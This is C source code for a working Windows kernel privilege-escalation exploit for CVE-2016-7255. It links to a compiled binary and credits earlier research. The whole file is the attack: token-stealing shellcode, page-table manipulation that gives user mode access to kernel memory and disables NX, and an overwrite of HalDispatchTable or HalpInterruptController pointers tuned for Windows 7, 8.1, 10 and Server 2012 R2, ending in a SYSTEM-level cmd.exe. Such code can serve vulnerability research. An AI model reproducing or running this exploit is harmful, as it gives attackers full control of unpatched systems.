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/* Source: https://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html Binary: https://github.com/rlarabee/exploits/raw/8b9eb646516d7f022a010f28018209f331c28975/cve-2016-7255/compiled/cve-2016-7255.exe Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41015.exe */ // ricklarabee.blogspot.com //This program is free software; you can redistribute it and/or //modify it under the terms of the GNU General Public License //as published by the Free Software Foundation. //This program is distributed in the hope that it will be useful, //but WITHOUT ANY WARRANTY; without even the implied warranty of //MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the //GNU General Public License for more details. //You should have received a copy of the GNU General Public License //along with this program; if not, write to the Free Software //Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA02110-1301, USA. // Credits: enrique.nissim@IOActive.com: https://github.com/IOActive/I-know-where-your-page-lives/tree/master/code/CVE-2016-7255 // PoC from https://github.com/tinysec/public/tree/master/CVE-2016-7255 #include <windows.h> #include <wchar.h> #include <stdlib.h> #include <stdio.h> #pragma comment(lib,"ntdll.lib") #pragma comment(lib,"user32.lib") #pragma comment(lib, "advapi32") UINT64 PML4_BASE; UINT PML4_SELF_REF_INDEX; UINT64 PML4_SELF_REF = 0xFFFFF6FB7DBEDF68; #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) #define GET_INDEX(va)( ((va >> 39) & 0x1ff )) //////////////////////////////////////////////////////// // Define Data Types //////////////////////////////////////////////////////// typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { PVOIDUnknown1; PVOIDUnknown2; PVOIDBase; ULONGSize; ULONGFlags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONGSystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); NtQuerySystemInformation_t NtQuerySystemInformation; NtQueryIntervalProfile_t NtQueryIntervalProfile; char shellcode[] = { //0xcc, 0xfa, // CLI 0x9c, // PUSHFQ 0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RAX, Original Pointer 0x50, // PUSH RAX 0x51, // PUSH RCX 0x48, 0xb9, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RCX, [OverwriteAddr+OverwriteOffset] 0x48, 0x89, 0x01, // MOVQWORD PTR [RCX], RAX 0xb9, 0x90, 0x90, 0x90, 0x90, // MOV ECX, PID 0x53, // PUSH RBX 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // MOVRAX,QWORD PTR gs:0x188 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, // MOVRAX,QWORD PTR [RAX+0xb8] EPROCESS 0x48, 0x8d, 0x80, 0x90, 0x90, 0x00, 0x00, // LEARAX,[RAX+0xActiveProcessLinkOffset] //<tag> 0x48, 0x8b, 0x00, // MOVRAX,QWORD PTR [RAX] 0x48, 0x8b, 0x58, 0xf8, // MOVRBX,QWORD PTR [RAX-0x8] // UniqueProcessID 0x48, 0x83, 0xfb, 0x04, // CMPRBX,0x4 0x75, 0xf3, // JNE<tag> 0x48, 0x8b, 0x98, 0x90, 0x90, 0x90, 0x90, // MOVRBX, QWORD PTR [RAX+0x60] // GET TOKEN of SYSTEM 0x53, // PUSH RBX //<tag2> 0x48, 0x8b, 0x00, // MOVRAX,QWORD PTR [RAX] 0x48, 0x8b, 0x58, 0xf8, // MOVRBX,QWORD PTR [RAX-0x8] // UniqueProcessID 0x39, 0xcb, // CMPEBX, ECX // our PID 0x75, 0xf5, // JNE<tag2> 0x5b, // POP RBX 0x48, 0x89, 0x98, 0x90, 0x90, 0x90, 0x90, // MOVQWORD PTR[RAX + 0x60], RBX 0x5b, // POP RBX 0x59, // POP RCX 0x58, // POP RAX 0x9d, // POPFQ 0xfb, // STI 0xff, 0xe0 // JMP RAX }; ULONG __cdecl DbgPrint(__in char* Format, ...) { CHAR* pszDbgBuff = NULL; va_list VaList = NULL; ULONG ulRet = 0; do { pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0, 1024 * sizeof(CHAR)); if (NULL == pszDbgBuff) { break; } RtlZeroMemory(pszDbgBuff, 1024 * sizeof(CHAR)); va_start(VaList, Format); _vsnprintf((CHAR*)pszDbgBuff, 1024 - 1, Format, VaList); OutputDebugStringA(pszDbgBuff); va_end(VaList); } while (FALSE); if (NULL != pszDbgBuff) { HeapFree(GetProcessHeap(), 0, pszDbgBuff); pszDbgBuff = NULL; } return ulRet; } int _sim_key_down(WORD wKey) { INPUT stInput = { 0 }; do { stInput.type = INPUT_KEYBOARD; stInput.ki.wVk = wKey; stInput.ki.dwFlags = 0; SendInput(1, &stInput, sizeof(stInput)); } while (FALSE); return 0; } int _sim_key_up(WORD wKey) { INPUT stInput = { 0 }; do { stInput.type = INPUT_KEYBOARD; stInput.ki.wVk = wKey; stInput.ki.dwFlags = KEYEVENTF_KEYUP; SendInput(1, &stInput, sizeof(stInput)); } while (FALSE); return 0; } int _sim_alt_shift_esc() { int i = 0; do { _sim_key_down(VK_MENU); _sim_key_down(VK_SHIFT); _sim_key_down(VK_ESCAPE); _sim_key_up(VK_ESCAPE); _sim_key_down(VK_ESCAPE); _sim_key_up(VK_ESCAPE); _sim_key_up(VK_MENU); _sim_key_up(VK_SHIFT); } while (FALSE); return 0; } int _sim_alt_shift_tab(int nCount) { int i = 0; HWND hWnd = NULL; int nFinalRet = -1; do { _sim_key_down(VK_MENU); _sim_key_down(VK_SHIFT); for (i = 0; i < nCount; i++) { _sim_key_down(VK_TAB); _sim_key_up(VK_TAB); Sleep(1000); } _sim_key_up(VK_MENU); _sim_key_up(VK_SHIFT); } while (FALSE); return nFinalRet; } int _sim_alt_esc(int count) { int i = 0; for (i = 0; i<count; i++) { _sim_key_down(VK_MENU); //_sim_key_down(VK_SHIFT); _sim_key_down(VK_ESCAPE); _sim_key_up(VK_ESCAPE); _sim_key_down(VK_ESCAPE); _sim_key_up(VK_ESCAPE); _sim_key_up(VK_MENU); //_sim_key_up(VK_SHIFT); } return 0; } int or_address_value_4(__in void* pAddress) { WNDCLASSEXW stWC = { 0 }; HWNDhWndParent = NULL; HWNDhWndChild = NULL; WCHAR*pszClassName = L"cve-2016-7255"; WCHAR*pszTitleName = L"cve-2016-7255"; void* pId = NULL; MSG stMsg = { 0 }; UINT64 value = 0; do { stWC.cbSize = sizeof(stWC); stWC.lpfnWndProc = DefWindowProcW; stWC.lpszClassName = pszClassName; if (0 == RegisterClassExW(&stWC)) { break; } hWndParent = CreateWindowExW( 0, pszClassName, NULL, WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 360, 360, NULL, NULL, GetModuleHandleW(NULL), NULL ); if (NULL == hWndParent) { break; } hWndChild = CreateWindowExW( 0, pszClassName, pszTitleName, WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD, 0, 0, 160, 160, hWndParent, NULL, GetModuleHandleW(NULL), NULL ); if (NULL == hWndChild) { break; } #ifdef _WIN64 pId = ((UCHAR*)pAddress - 0x28); #else pId = ((UCHAR*)pAddress - 0x14); #endif // #ifdef _WIN64 SetWindowLongPtr(hWndChild, GWLP_ID, (LONG_PTR)pId); DbgPrint("hWndChild = 0x%p\n", hWndChild); ShowWindow(hWndParent, SW_SHOWNORMAL); SetParent(hWndChild, GetDesktopWindow()); SetForegroundWindow(hWndChild); _sim_alt_shift_tab(4); SwitchToThisWindow(hWndChild, TRUE); _sim_alt_shift_esc(); while (GetMessage(&stMsg, NULL, 0, 0)) { SetFocus(hWndParent); _sim_alt_esc(20); SetFocus(hWndChild); _sim_alt_esc(20); TranslateMessage(&stMsg); DispatchMessage(&stMsg); if (value != 0) { break; } __try { value = *(UINT64 *)PML4_SELF_REF; if ((value & 0x67) == 0x67) { printf("Value Self Ref = %llx\n", value); break; } } __except (EXCEPTION_EXECUTE_HANDLER) { continue; } } } while (FALSE); if (NULL != hWndParent) { DestroyWindow(hWndParent); hWndParent = NULL; } if (NULL != hWndChild) { DestroyWindow(hWndChild); hWndChild = NULL; } UnregisterClassW(pszClassName, GetModuleHandleW(NULL)); return 0; } UINT64 get_pxe_address(UINT64 address) { UINT entry = PML4_SELF_REF_INDEX; UINT64 result = address >> 9; UINT64 lower_boundary = ((UINT64)0xFFFF << 48) | ((UINT64)entry << 39); UINT64 upper_boundary = (((UINT64)0xFFFF << 48) | ((UINT64)entry << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8; result = result | lower_boundary; result = result & upper_boundary; return result; } UINT64 look_free_entry_pml4(void) { // Looks for a free pml4e in the last 0x100 bytes of the PML4 int offset = 0xF00; UINT64 pml4_search = PML4_BASE + offset; while (offset < 0xFF8) { if ((*(PVOID *)pml4_search) == 0x0) { // This is a NULL (free) entry break; } offset += 8; pml4_search = PML4_BASE + offset; } return pml4_search; } UINT64 calculate_spurious_pt_address(UINT64 spurious_offset) { UINT64 index = (spurious_offset & 0xFFF) / 8; UINT64 result = ( ((UINT64)0xFFFF << 48) | ((UINT64)PML4_SELF_REF_INDEX << 39) | ((UINT64)PML4_SELF_REF_INDEX << 30) | ((UINT64)PML4_SELF_REF_INDEX << 21) | (index << 12) ); return result; } UINT64 create_spurious_pte_to_virtual_address(UINT64 virtual_address, BOOL patch_original) { /* 1: kd> !pte ffffffff`ffd00000 VA ffffffffffd00000 PXE at FFFFF6FB7DBEDFF8PPE at FFFFF6FB7DBFFFF8PDE at FFFFF6FB7FFFFFF0PTE at FFFFF6FFFFFFE800 contains 0000000000A1F063contains 0000000000A20063contains 0000000000A25063contains 8000000000103963 pfn a1f-- - DA--KWEVpfn a20-- - DA--KWEVpfn a25-- - DA--KWEVpfn 103 - G - DA--KW - V */ UINT64 pte = get_pxe_address(virtual_address); int pte_offset = pte & 0xFFF; //printf("PTE: %llx, %x\n", pte, pte_offset); UINT64 pde = get_pxe_address(pte); int pde_offset = pde & 0xFFF; //printf("PDE: %llx, %x\n", pde, pde_offset); UINT64 pdpte = get_pxe_address(pde); int pdpte_offset = pdpte & 0xFFF; //printf("PDPTE: %llx,%x\n", pdpte, pdpte_offset); UINT64 pml4e = get_pxe_address(pdpte); int pml4e_offset = pml4e & 0xFFF; //printf("PML4E: %llx\n", pml4e, pml4e_offset); UINT64 spurious_offset = look_free_entry_pml4(); printf("[+] Selected spurious PML4E: %llx\n", spurious_offset); UINT64 f_e_pml4 = spurious_offset; UINT64 spurious_pt = calculate_spurious_pt_address(spurious_offset); printf("[+] Spurious PT: %llx\n", spurious_pt); printf("--------------------------------------------------\n\n"); //Read the physical address of pml4e UINT64 pml4e_pfn = (UINT64)(*(PVOID *)pml4e); printf("[+] Content pml4e %llx: %llx\n", pml4e, pml4e_pfn); // Change the PxE pml4e_pfn = pml4e_pfn | 0x67; // Set U/S printf("[+] Patching the Spurious Offset (PML4e) %llx: %llx\n",f_e_pml4, pml4e_pfn); *((PVOID *)spurious_offset) = (PVOID)pml4e_pfn; Sleep(0x1); // Sleep for TLB refresh; //Read the physical address of pdpte UINT64 pdpte_pfn = (UINT64) *(PVOID *)(spurious_pt + pdpte_offset); printf("[+] Content pdpte %llx: %llx\n", pdpte, pdpte_pfn); // Change the PxE pdpte_pfn = pdpte_pfn | 0x67; // Set U/S printf("[+] Patching the Spurious Offset (PDPTE) %llx: %llx\n", spurious_offset, pdpte_pfn); *((PVOID *)spurious_offset) = (PVOID)pdpte_pfn; Sleep(0x1); // Sleep for TLB refresh; //Read the physical address of pde UINT64 pde_addr = spurious_pt + pde_offset; UINT64 pde_pfn = (UINT64) *(PVOID *)(spurious_pt + pde_offset); printf("[+] Content pdpe %llx: %llx\n", pde, pde_pfn); // Change the PxE pde_pfn = pde_pfn | 0x67; // Set U/S printf("[+] Patching the Spurious Offset (PDE) %llx: %llx\n", spurious_offset, pde_pfn); *((PVOID *)spurious_offset) = (PVOID)pde_pfn; Sleep(0x1); // Sleep for TLB refresh; //Read the physical address of pte UINT64 pte_addr = spurious_pt + pte_offset; UINT64 pte_pfn = (UINT64) *(PVOID *)(spurious_pt + pte_offset); printf("[+] Content pte %llx: %llx\n", pte, pte_pfn); // Change the PxE pte_pfn = pte_pfn | 0x67; // Set U/S pte_pfn = pte_pfn & 0x7fffffffffffffff; // Turn off NX if (patch_original) { printf("*** Patching the original location to enable NX...\n"); *(PVOID *)(spurious_pt + pte_offset) = (PVOID)pte_pfn; } printf("[+] Patching the Spurious Offset (PTE) %llx: %llx\n", spurious_offset, pte_pfn); *((PVOID *)spurious_offset) = (PVOID)pte_pfn; Sleep(0x1); // Sleep for TLB refresh; printf("\n\n"); return spurious_pt; } UINT64 get_OverwriteAddress_pointer(UINT64 target_address, int target_offset) { printf("[*] Getting Overwrite pointer: %llx\n", target_address); UINT64 OverwriteAddress = create_spurious_pte_to_virtual_address(target_address, FALSE); OverwriteAddress += (target_address & 0xFFF); printf("OverwriteAddress: %llx\n", OverwriteAddress); return (UINT64) *((PVOID *)(((char *)OverwriteAddress) + target_offset)); } void overwrite_TargetAddress(UINT64 hook_address, UINT64 target_address, int target_offset) { UINT64 OverwriteTarget = create_spurious_pte_to_virtual_address(target_address, FALSE); OverwriteTarget += (target_address & 0xFFF); UINT64 target = (UINT64)((char *)OverwriteTarget) + target_offset; printf("Patch OverwriteTarget: %llx with %llx\n", target, hook_address); *(PVOID *)target = (PVOID)hook_address; } UINT64 store_shellcode_in_hal(void) { //// Finally store the shellcode on the HAL UINT64 hal_heap_addr = 0xFFFFFFFFFFD00000; UINT64 hal_heap = create_spurious_pte_to_virtual_address(hal_heap_addr, TRUE); printf("HAL address: %llx\n", hal_heap); // 0xffffffffffd00d50 this is a good offset to store shellcode // 0xfff - 0xd50 = 0x2af space memcpy(((char *)hal_heap) + 0xd50, shellcode, sizeof(shellcode)); return 0xffffffffffd00d50; } UINT64 GetHalDispatchTable() { PCHAR KernelImage; SIZE_T ReturnLength; HMODULE hNtDll = NULL; UINT64 HalDispatchTable; HMODULE hKernelInUserMode = NULL; PVOID KernelBaseAddressInKernelMode; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; PSYSTEM_MODULE_INFORMATION pSystemModuleInformation; hNtDll = LoadLibrary("ntdll.dll"); if (!hNtDll) { printf("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength); // Allocate the Heap chunk pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength); if (!pSystemModuleInformation) { printf("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } NtStatus = NtQuerySystemInformation(SystemModuleInformation, pSystemModuleInformation, ReturnLength, &ReturnLength); if (NtStatus != STATUS_SUCCESS) { printf("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base; KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1; printf("\t\t\t[+] Loaded Kernel: %s\n", KernelImage); printf("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode); hKernelInUserMode = LoadLibraryA(KernelImage); if (!hKernelInUserMode) { printf("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } // This is still in user mode HalDispatchTable = (UINT64)GetProcAddress(hKernelInUserMode, "HalDispatchTable"); if (!HalDispatchTable) { printf("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { HalDispatchTable = (ULONGLONG)HalDispatchTable - (ULONGLONG)hKernelInUserMode; // Here we get the address of HapDispatchTable in Kernel mode HalDispatchTable = ((ULONGLONG)HalDispatchTable + (ULONGLONG)KernelBaseAddressInKernelMode); printf("\t\t\t[+] HalDispatchTable: 0x%llx\n", HalDispatchTable); } HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation); if (hNtDll) { FreeLibrary(hNtDll); } if (hKernelInUserMode) { FreeLibrary(hKernelInUserMode); } hNtDll = NULL; hKernelInUserMode = NULL; pSystemModuleInformation = NULL; return HalDispatchTable; } int __cdecl main(int argc, char** argv) { TCHAR pre_username[256]; TCHAR post_username[256]; DWORD size = 256; ULONG Interval = 0; HMODULE hNtDll = NULL; UINT retval; UINT64 overwrite_address; int overwrite_offset; // define operating system version specific variables unsigned char sc_KPROCESS; unsigned int sc_TOKEN; unsigned int sc_APLINKS; int osversion; if (argc != 2) { printf("Please enter an OS version\n"); printf("The following OS'es are supported:\n"); printf("\t[*] 7- Windows 7\n"); printf("\t[*] 81 - Windows 8.1\n"); printf("\t[*] 10 - Windows 10 prior to build release 14393 (Anniversary Update)\n"); printf("\t[*] 12 - Windows 2012 R2\n"); printf("\n"); printf("\t[*] For example:cve-2016-7255.exe 7-- for Windows 7\n"); return -1; } osversion = _strtoui64(argv[1], NULL, 10); if(osversion == 7) { // the target machine's OS is Windows 7 SP1 printf(" [+] Windows 7 SP1\n"); sc_KPROCESS = 0x70; // dt -r1 nt!_KTHREAD+0x050 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS sc_TOKEN= 0x80; // dt -r1 nt!_EPROCESS [+0x208 Token : _EX_FAST_REF] - [+0x188 ActiveProcessLinks : _LIST_ENTRY] = (0x80) sc_APLINKS= 0x188; // dt -r1 nt!_EPROCESS +0x188 ActiveProcessLinks : _LIST_ENTRY overwrite_address = GetHalDispatchTable();// HalDispatchTable overwrite_offset = 0x8; // QueryIntervalProfile } else if(osversion == 81) { // the target machine's OS is Windows 8.1 printf(" [+] Windows 8.1\n"); sc_KPROCESS = 0xB8; // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS sc_TOKEN= 0x60; // dt -r1 nt!_EPROCESS [+0x348 Token : _EX_FAST_REF] - [+0x2e8 ActiveProcessLinks : _LIST_ENTRY] = (0x60) sc_APLINKS= 0x2e8; // dt -r1 nt!_EPROCESS +0x2e8 ActiveProcessLinks : _LIST_ENTRY overwrite_address = 0xffffffffffd00510; // HalpInterruptController_address (dq poi(hal!HalpInterruptController)) overwrite_offset = 0x78;// HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt) } else if(osversion == 10) { // the target machine's OS is Windows 10 prior to build 14393 printf(" [+] Windows 10\n"); sc_KPROCESS = 0xB8; // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS sc_TOKEN= 0x68; // dt -r1 nt!_EPROCESS [+0x358 Token : _EX_FAST_REF] - [+0x2f0 ActiveProcessLinks : _LIST_ENTRY] = (0x60) sc_APLINKS= 0x2f0;// dt -r1 nt!_EPROCESS +0x2f0 ActiveProcessLinks : _LIST_ENTRY overwrite_address = 0xffffffffffd004c0; // HalpInterruptController_address (dq poi(hal!HalpInterruptController) overwrite_offset = 0x78;// HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt) } else if(osversion == 12) { // the target machine's OS is Windows 2012 R2 printf(" [+] Windows 2012 R2\n"); sc_KPROCESS = 0xB8; // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS sc_TOKEN= 0x60; // dt -r1 nt!_EPROCESS [+0x348 Token : _EX_FAST_REF] - [+0x2e8 ActiveProcessLinks : _LIST_ENTRY] = (0x60) sc_APLINKS= 0x2e8;// dt -r1 nt!_EPROCESS +0x2e8 ActiveProcessLinks : _LIST_ENTRY overwrite_address = 0xffffffffffd12c70; // HalpInterruptController_address (dq poi(hal!HalpInterruptController) overwrite_offset = 0x78;// HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt) } // in case the OS version is not any of the previously checked versions else { printf(" [-] Unsupported version\n"); printf("[*] Affected 64-bit operating systems\n"); printf(" [*] Windows 7 SP1 -- cve-2016-7255.exe 7\n"); printf(" [*] Windows 8.1 -- cve-2016-7255.exe 81\n"); printf(" [*] Windows 10 before build 14393 -- cve-2016-7255.exe 10\n"); printf(" [*] Windows 2012 R2 -- cve-2016-7255.exe 12\n"); return -1; } printf("My PID is: %d\n", GetCurrentProcessId()); GetUserName(pre_username, &size); printf("Current Username: %s\n", pre_username); printf("PML4 Self Ref: %llx\n", PML4_SELF_REF); printf("Shellcode stored at: %p\n", (void *) &shellcode); printf("Enter to continue...\n"); getchar(); do { or_address_value_4((void*)PML4_SELF_REF); } while (FALSE); PML4_SELF_REF_INDEX = GET_INDEX((UINT64)PML4_SELF_REF); printf("[*] Self Ref Index: %x\n", PML4_SELF_REF_INDEX); PML4_BASE = ((UINT64)PML4_SELF_REF & (UINT64)0xFFFFFFFFFFFFF000); UINT64 original_pointer = get_OverwriteAddress_pointer(overwrite_address, overwrite_offset); printf("Original OverwriteTarget pointer: %llx\n", original_pointer); DWORD pid = GetCurrentProcessId(); /* Shellcode Patching !! */ char *p = shellcode; p += 4; // skip the CLI, PUSHF and MOV RAX bytes *(PVOID *)p = (PVOID)original_pointer; // Patch shellcode1 p += 12; // Patch shellcode with original value in the Overwrite address *(PVOID *)p = (PVOID)(overwrite_address + overwrite_offset); p += 12; // To patch the PID of our process *(DWORD *)p = (DWORD)pid; p += 17; *(unsigned char *)p = (unsigned char)sc_KPROCESS; p += 7; *(unsigned int *)p = (unsigned int)sc_APLINKS; p += 20; *(unsigned int *)p = (unsigned int)sc_TOKEN; p += 20; *(unsigned int *)p = (unsigned int)sc_TOKEN; UINT64 shellcode_va = store_shellcode_in_hal(); printf("[+] w00t: Shellcode stored at: %llx\n", shellcode_va); overwrite_TargetAddress(shellcode_va, overwrite_address, overwrite_offset); if (osversion == 7){ // Exploit Win7.1 hNtDll = LoadLibrary("ntdll.dll"); if (!hNtDll) { printf("\t\t[-] Failed loading NtDll: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { printf("\t\t[-] Failed Resolving NtQueryIntervalProfile: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } NtQueryIntervalProfile(0x1337, &Interval); } while (1) { size = 256; GetUserName(post_username, &size); if (memcmp(post_username, pre_username, 256) != 0) break; } Sleep(2000); system("cmd.exe"); return 0; } |
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